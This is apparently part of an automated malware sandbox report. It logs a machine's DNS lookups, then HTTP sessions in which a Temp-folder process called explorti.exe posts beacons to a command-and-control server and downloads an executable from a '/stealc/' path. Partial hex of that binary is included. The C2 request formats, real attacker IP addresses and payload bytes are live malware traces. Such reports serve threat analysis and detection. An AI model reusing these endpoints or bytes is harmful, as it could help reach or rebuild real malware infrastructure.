Jul 26, 2024 13:49:48.690994024 CEST	1.1.1.1	192.168.2.6	0x4bdf	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.410446882 CEST	1.1.1.1	192.168.2.6	0x9f92	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:51.410446882 CEST	1.1.1.1	192.168.2.6	0x9f92	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:51.410446882 CEST	1.1.1.1	192.168.2.6	0x9f92	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.414582968 CEST	1.1.1.1	192.168.2.6	0x4145	No error (0)	mitmdetection.services.mozilla.com		13.32.99.17	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.414582968 CEST	1.1.1.1	192.168.2.6	0x4145	No error (0)	mitmdetection.services.mozilla.com		13.32.99.49	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.414582968 CEST	1.1.1.1	192.168.2.6	0x4145	No error (0)	mitmdetection.services.mozilla.com		13.32.99.66	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.414582968 CEST	1.1.1.1	192.168.2.6	0x4145	No error (0)	mitmdetection.services.mozilla.com		13.32.99.14	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.422425985 CEST	1.1.1.1	192.168.2.6	0xf567	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.442347050 CEST	1.1.1.1	192.168.2.6	0x978f	No error (0)	mitmdetection.services.mozilla.com		18.238.243.52	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.442347050 CEST	1.1.1.1	192.168.2.6	0x978f	No error (0)	mitmdetection.services.mozilla.com		18.238.243.101	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.442347050 CEST	1.1.1.1	192.168.2.6	0x978f	No error (0)	mitmdetection.services.mozilla.com		18.238.243.129	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.442347050 CEST	1.1.1.1	192.168.2.6	0x978f	No error (0)	mitmdetection.services.mozilla.com		18.238.243.54	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:51.459007025 CEST	1.1.1.1	192.168.2.6	0x5608	No error (0)	mitmdetection.services.mozilla.com			28	IN (0x0001)	false
Jul 26, 2024 13:49:56.738254070 CEST	1.1.1.1	192.168.2.6	0x9653	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:56.738254070 CEST	1.1.1.1	192.168.2.6	0x9653	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.509946108 CEST	1.1.1.1	192.168.2.6	0x93de	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:57.509946108 CEST	1.1.1.1	192.168.2.6	0x93de	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.509955883 CEST	1.1.1.1	192.168.2.6	0xee08	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.509963989 CEST	1.1.1.1	192.168.2.6	0x93de	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:57.509963989 CEST	1.1.1.1	192.168.2.6	0x93de	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.509972095 CEST	1.1.1.1	192.168.2.6	0xee08	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.518424988 CEST	1.1.1.1	192.168.2.6	0xa6e9	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.519898891 CEST	1.1.1.1	192.168.2.6	0x1c02	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:49:57.541155100 CEST	1.1.1.1	192.168.2.6	0xf089	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:57.623809099 CEST	1.1.1.1	192.168.2.6	0xee93	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:49:57.623809099 CEST	1.1.1.1	192.168.2.6	0xee93	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:02.169684887 CEST	1.1.1.1	192.168.2.6	0x8c25	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:14.097446918 CEST	1.1.1.1	192.168.2.6	0x8358	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:14.097446918 CEST	1.1.1.1	192.168.2.6	0x8358	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:14.106229067 CEST	1.1.1.1	192.168.2.6	0xdd87	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Jul 26, 2024 13:50:16.355537891 CEST	1.1.1.1	192.168.2.6	0x545b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:16.355537891 CEST	1.1.1.1	192.168.2.6	0x545b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:16.355812073 CEST	1.1.1.1	192.168.2.6	0x63e0	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:16.358797073 CEST	1.1.1.1	192.168.2.6	0x3d03	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:16.397742033 CEST	1.1.1.1	192.168.2.6	0xb387	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:17.277604103 CEST	1.1.1.1	192.168.2.6	0xa8f1	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:19.040653944 CEST	1.1.1.1	192.168.2.6	0xdd69	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:20.806699991 CEST	1.1.1.1	192.168.2.6	0xd690	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:20.806699991 CEST	1.1.1.1	192.168.2.6	0xd690	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.806801081 CEST	1.1.1.1	192.168.2.6	0x9857	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:20.806801081 CEST	1.1.1.1	192.168.2.6	0x9857	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.808468103 CEST	1.1.1.1	192.168.2.6	0xf72a	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:20.808468103 CEST	1.1.1.1	192.168.2.6	0xf72a	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.808468103 CEST	1.1.1.1	192.168.2.6	0xf72a	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.808468103 CEST	1.1.1.1	192.168.2.6	0xf72a	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.808468103 CEST	1.1.1.1	192.168.2.6	0xf72a	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.815524101 CEST	1.1.1.1	192.168.2.6	0x49fc	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.815886021 CEST	1.1.1.1	192.168.2.6	0xb22d	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.816946983 CEST	1.1.1.1	192.168.2.6	0x1493	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.816946983 CEST	1.1.1.1	192.168.2.6	0x1493	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.816946983 CEST	1.1.1.1	192.168.2.6	0x1493	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.816946983 CEST	1.1.1.1	192.168.2.6	0x1493	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.823781013 CEST	1.1.1.1	192.168.2.6	0xb04d	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Jul 26, 2024 13:50:20.824517965 CEST	1.1.1.1	192.168.2.6	0x408a	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Jul 26, 2024 13:50:20.831597090 CEST	1.1.1.1	192.168.2.6	0x9605	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:20.839477062 CEST	1.1.1.1	192.168.2.6	0x9eee	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:50:29.913106918 CEST	1.1.1.1	192.168.2.6	0x82bc	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:50.909677982 CEST	1.1.1.1	192.168.2.6	0x7ff8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:50:50.909677982 CEST	1.1.1.1	192.168.2.6	0x7ff8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:51:10.069194078 CEST	1.1.1.1	192.168.2.6	0x1349	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:51:10.069194078 CEST	1.1.1.1	192.168.2.6	0x1349	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:51:26.424873114 CEST	1.1.1.1	192.168.2.6	0x2490	No error (0)	shed.dual-low.s-part-0045.t-0009.t-msedge.net	s-part-0045.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:51:26.424873114 CEST	1.1.1.1	192.168.2.6	0x2490	No error (0)	s-part-0045.t-0009.t-msedge.net		13.107.246.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:51:31.194602966 CEST	1.1.1.1	192.168.2.6	0xc7bd	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:51:48.021251917 CEST	1.1.1.1	192.168.2.6	0x8c4c	No error (0)	play.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:03.855328083 CEST	1.1.1.1	192.168.2.6	0x5a88	No error (0)	play.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:18.618721962 CEST	1.1.1.1	192.168.2.6	0x4e46	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:19.135323048 CEST	1.1.1.1	192.168.2.6	0xdda3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:52:19.135323048 CEST	1.1.1.1	192.168.2.6	0xdda3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:52:51.863754034 CEST	1.1.1.1	192.168.2.6	0x60f2	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:52:51.875402927 CEST	1.1.1.1	192.168.2.6	0x26a2	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:54:57.001579046 CEST	1.1.1.1	192.168.2.6	0x24cd	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:54:57.001693964 CEST	1.1.1.1	192.168.2.6	0x24cd	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:54:57.481682062 CEST	1.1.1.1	192.168.2.6	0x5058	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:54:57.481682062 CEST	1.1.1.1	192.168.2.6	0x5058	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:55:32.643815041 CEST	1.1.1.1	192.168.2.6	0x5fbf	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:55:32.656021118 CEST	1.1.1.1	192.168.2.6	0x40a9	No error (0)	push.services.mozilla.com	autopush.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:56:20.181436062 CEST	1.1.1.1	192.168.2.6	0x59ff	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:56:20.673676968 CEST	1.1.1.1	192.168.2.6	0xf3b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 13:56:20.673676968 CEST	1.1.1.1	192.168.2.6	0xf3b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Jul 26, 2024 13:57:11.021146059 CEST	1.1.1.1	192.168.2.6	0x52e	No error (0)	play.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	58981	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:03.568820000 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:04.364712000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:04.367192030 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:04.622539043 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 30 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 33 39 31 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 30 33 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 38 66 64 61 37 64 66 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bf <c>1000002001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca73910e5ebf5de04349025080d9#1000003002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e8fda7df30804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	58982	185.215.113.16	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:04.631504059 CEST	57	OUT	GET /stealc/random.exe HTTP/1.1 Host: 185.215.113.16
Jul 26, 2024 13:49:05.395822048 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:05 GMT Content-Type: application/octet-stream Content-Length: 265728 Last-Modified: Fri, 26 Jul 2024 11:45:54 GMT Connection: keep-alive ETag: "66a38c72-40e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 45 b1 47 ff 01 d0 29 ac 01 d0 29 ac 01 d0 29 ac 6e a6 82 ac 1a d0 29 ac 6e a6 b7 ac 11 d0 29 ac 6e a6 83 ac 65 d0 29 ac 08 a8 ba ac 08 d0 29 ac 01 d0 28 ac 73 d0 29 ac 6e a6 86 ac 00 d0 29 ac 6e a6 b3 ac 00 d0 29 ac 6e a6 b4 ac 00 d0 29 ac 52 69 63 68 01 d0 29 ac 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 f5 24 f0 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 b4 03 02 00 00 00 00 3c 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 05 02 00 04 00 00 0a fe 04 00 02 00 00 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$EG)))n)n)ne))(s)n)n)n)Rich)PEL$d< 0@XdHYS@0.text `.rdata204@@.data.pR@.fiti.@@.jotibe2@.rsrc6@@
Jul 26, 2024 13:49:05.395931005 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 56 8b f1 c7 06 b0 53 42 00 e8 96 06 00 00 f6 44 24 08 01 74 07 56 e8 f3 0b 00 00 Data Ascii: VSBD$tVY^4U( BeE$BV3W{EEu(BE?E,BEE EE~DM=u~D@.=u%\|yDEEEEU
Jul 26, 2024 13:49:05.395944118 CEST	1236	IN	Data Raw: 5e 5b c9 c3 55 8b ec 81 ec 04 04 00 00 56 33 f6 81 3d f4 7e 44 02 00 04 00 00 57 75 44 56 56 56 56 ff 15 8c 30 42 00 56 56 56 56 56 56 56 56 56 56 ff 15 9c 31 42 00 56 e8 fc 01 00 00 56 56 e8 2b 03 00 00 56 e8 1a 09 00 00 56 56 e8 5e 07 00 00 56 Data Ascii: ^[UV3=~DWuDVVVV0BVVVVVVVVVV1BVVV+VVV^VVV$3*m}VEPVVV0BV0B0BV0B.G\|dB~D7=~DuVPX0BOu_3^U eWjY3}_9Eu
Jul 26, 2024 13:49:05.396514893 CEST	1236	IN	Data Raw: 83 7d 08 00 75 15 e8 e4 16 00 00 c7 00 16 00 00 00 e8 87 16 00 00 83 c8 ff 5d c3 8b 45 0c 85 c0 74 e4 6a 00 ff 70 04 ff 30 ff 75 08 e8 23 22 00 00 83 c4 10 5d c3 8b ff 55 8b ec 83 ec 10 8b 4d 08 53 8b 5d 0c 56 57 8b 7d 10 89 4d f8 89 5d fc 85 ff Data Ascii: }u]Etjp0u#"]UMS]VW}M]t}tu/3_^[ut39Ev!tSjQ*t39Ew}F}tFEEFtDFt=;r;}
Jul 26, 2024 13:49:05.396528006 CEST	1236	IN	Data Raw: 45 e4 c7 45 fc fe ff ff ff e8 09 00 00 00 8b 45 e4 e8 5a 18 00 00 c3 ff 75 08 e8 2f 15 00 00 59 c3 8b ff 51 c7 01 40 32 42 00 e8 cf 2c 00 00 59 c3 8b ff 55 8b ec 56 8b f1 e8 e3 ff ff ff f6 45 08 01 74 07 56 e8 7f fd ff ff 59 8b c6 5e 5d c2 04 00 Data Ascii: EEEZu/YQ@2B,YUVEtVY^]UE3+]U=HJCu/u-hj&YY]jXhUBEP0B395DuVVjV0BMZf9@tu6<@@PEuf9@ut@v39
Jul 26, 2024 13:49:05.396539927 CEST	1236	IN	Data Raw: fd ff ff 89 85 cc fd ff ff 89 85 e8 fd ff ff 89 85 d0 fd ff ff 89 85 bc fd ff ff 89 85 c8 fd ff ff e8 6b fe ff ff 85 f6 75 2b e8 18 0d 00 00 c7 00 16 00 00 00 e8 bb 0c 00 00 80 bd b0 fd ff ff 00 74 0a 8b 85 ac fd ff ff 83 60 70 fd 83 c8 ff e9 e4 Data Ascii: ku+t`pF@u^VY tBtt`DA$utt`D@$q3;g39G9
Jul 26, 2024 13:49:05.397492886 CEST	1236	IN	Data Raw: 50 68 00 02 00 00 8d 85 f4 fd ff ff 50 8d 85 e0 fd ff ff 50 e8 2c 47 00 00 83 c4 10 85 c0 74 1f c7 85 bc fd ff ff 01 00 00 00 eb 13 8a 43 fc 88 85 f4 fd ff ff c7 85 e0 fd ff ff 01 00 00 00 8d 85 f4 fd ff ff 89 85 e4 fd ff ff e9 2f 04 00 00 8b 03 Data Ascii: PhPP,GtC/;t;H;t4t+ pBPYpeg4itqnt(o
Jul 26, 2024 13:49:05.397506952 CEST	1236	IN	Data Raw: 2b 9d d0 fd ff ff 89 9d 9c fd ff ff a8 0c 75 27 8b fb 85 db 7e 21 8b 8d c0 fd ff ff 8d b5 dc fd ff ff b0 20 4f e8 46 f5 ff ff 83 bd dc fd ff ff ff 74 04 85 ff 7f df 8b bd c0 fd ff ff 8b 8d d0 fd ff ff 8d 85 d4 fd ff ff 50 8d 85 dc fd ff ff e8 4e Data Ascii: +u'~! OFtPNYt(u0KttT~PPjEPPKAu tEPYu
Jul 26, 2024 13:49:05.397519112 CEST	1236	IN	Data Raw: 00 00 33 c0 5b 5d c3 cc cc cc cc 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 Data Ascii: 3[]L$t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+jhj0B3PJCqBDVj^u;}DjP:YY`DujV5
Jul 26, 2024 13:49:05.397530079 CEST	196	IN	Data Raw: cc cc cc cc cc cc cc 68 d0 36 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 fc 7c 42 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d Data Ascii: h6@d5D$l$l$+SVW\|B1E3PeuEEEEdMdY__^[]QUS]Vs35\|BWEE{tN388NF388E@fMU
Jul 26, 2024 13:49:05.401271105 CEST	1236	IN	Data Raw: 53 fc 8b 5b 0c 89 45 e8 89 4d ec 83 fb fe 74 5f 8d 49 00 8d 04 5b 8b 4c 86 14 8d 44 86 10 89 45 f0 8b 00 89 45 f8 85 c9 74 14 8b d7 e8 f4 3d 00 00 c6 45 ff 01 85 c0 78 40 7f 47 8b 45 f8 8b d8 83 f8 fe 75 ce 80 7d ff 00 74 24 8b 06 83 f8 fe 74 0d Data Ascii: S[EMt_I[LDEEt=Ex@GEu}t$tN388NV3:7E_^[]EM9csmu)=XDt hXD>tUjRXDMU=E9Xth\|BW=EMHtN38x7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	58983	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:06.702346087 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000002001&unit=246122658369
Jul 26, 2024 13:49:07.476922989 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
